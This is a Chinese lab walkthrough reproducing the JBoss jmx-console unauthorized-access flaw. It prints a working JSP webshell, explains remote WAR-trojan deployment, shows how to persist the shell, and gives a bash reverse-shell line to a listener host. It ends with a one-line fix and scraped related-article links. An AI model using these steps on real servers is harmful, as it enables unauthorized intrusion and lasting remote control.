Jboss未授权访问漏洞复现
一、前言
漏洞原因:在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。
二、环境配置
使用docker搭建环境
docker search testjboss #搜索环境

docker pull testjboss/jboss 选择环境

docker run -p 80:8080 -d testjboss/jboss #查看打开的docker环境

运行环境,访问http://ip

三、漏洞复现
方法一:写木马
直接访问jboss控制台
http://192.168.78.129/jmx-console/

写入一句话木马:
url中的参数:arg0代表war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容
将arg3的值取出来并url解码:
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
这个语句的功能是写入文件功,f=文件名,t=文件内容

写入1.txt文件
http://192.168.78.129/August/shell.jsp?f=1.txt&t=hello%20world!

访问1.txt文件

方法二:上传木马
首先制作一个war木马(需要jdk),在java目录下管理员cmd执行:
jar cvf ma.war index.jsp (自备index.jsp马哦,将index.jsp放入java目录下运行)

生成ma.war
将ma.war放在自己的服务器上
Jboxx4.x /jmx-console/ 后台存在未授权访问,进入后台后,可直接部署 war 包Getshell。若需登录,可以尝试爆破弱口令登录。

然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)

找到页面中的void addURL()选项来远程加载war包来部署。



接下来我们查看是否部署成功
返回到刚进入jmx-console的页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可

接下来访问木马

成功访问木马
这个目录最多用作临时维持下权限,所以可以把shell传到jmx-console的默认目录来巩固权限
\jboss-4.2.3.GA\server\default\deploy\jmx-console.war
方法三:使用检测工具
检测工具:jexboss,一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。
下载地址:https://github.com/joaomatosf/jexboss
python2 jexboss.py -u http://ip:port

反弹shell到另一个kali机上,并在另一个kali机开启nc监听
bash -i >& /dev/tcp/192.168.78.128/7777 0>&1



四、修复建议
关闭jmx-console和web-console,提高安全性。
Jboss未授权访问漏洞复现的更多相关文章
- jboss 未授权访问漏洞复现
jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...
- Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...
- [转帖]Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...
- rsync未授权访问漏洞复现
rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...
- Redis未授权访问漏洞复现与利用
漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- Redis未授权访问漏洞复现及修复方案
首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...
- 【Vulhub】Rsync未授权访问漏洞复现
Rsync未授权访问 Rsync简介 rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息 ...
- CVE-2019-17671:Wordpress未授权访问漏洞复现
0x00 简介 WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客 ...
随机推荐
- 发布 npm遇到的问题
npm publish 遇到 403 怎么办? 这说明你没有切换到 npm 原始源,那么你只需要用 npm config delete registry 删除淘宝源,然后再 publish. publ ...
- 网站会不会因为同IP网站被K而受到惩罚
http://www.wocaoseo.com/thread-289-1-1.html 使用虚拟主机的网站会不会因为同一个IP或同一台服务器上有其他网站作弊被处罚而受连累,也被惩罚? 复制代码 百度官 ...
- JavaScript函数的高级用法
1.函数的定义和调用 1.1函数的定义方式 方式1 函数声明方式 function 关键字 (命名函数) function fn(){} 方式2 函数表达式(匿名函数) var fn = functi ...
- 腾讯大牛教你简单的自动化测试模型(Python+Selenium)
今天讲解简单的自动化测试模型,对于刚接触自动化测试的同学,由于没有编程语言的基础,是搞不懂代码里面的函数.封装.包以及其他概念,只是了解字符串.数组.元组及字典这种最基本的名词,更不懂自动化测试框架了 ...
- 贝塞尔曲线(B-spline)的原理与应用
什么是贝塞尔曲线? 贝塞尔曲线(Bézier curve),又称贝兹曲线或贝济埃曲线,是应用于二维图形应用程序的数学曲线. 来源 贝塞尔曲线于1962,由法国工程师皮埃尔·贝塞尔(Pierre Béz ...
- sublime Text 3安装 Sublime Package Control(这个可以用于安装各种插件)时显示默认安装的c盘内存不够的解决方案
首先先关闭st3 之后在安装的路径下创建Data文件夹,然后打开st3(sublime Text 3简写)CTRL+`打开命令行输入以下内容,直接回车,等待下载完成就可以了import urllib. ...
- Unity坑之 传递默认枚举类型参数
今天在编写一个通用模块的时候,遇到一个奇怪的问题,vs编译时没有任何问题,但是轮到unity编译时,却报错: error CS0103: The name `PrintInt' does not ex ...
- ORA-01033错误解决方案-九五小庞
Microsoft Windows [版本 6.3.9600](c) 2013 Microsoft Corporation.保留所有权利. C:\Users\Administrator>sqlp ...
- element.ui 自定义样式问题
方法有很多种 自定义类名 <el-button class="search_button" @click="search">查询</el-bu ...
- Java面试题(1):详解int与Integer
Java面试题(1):详解int与Integer int与Integer的区别 int是Java的基本数据类型之一,Integer是int的包装类 int直接再内存中储存值,Integer进行new操 ...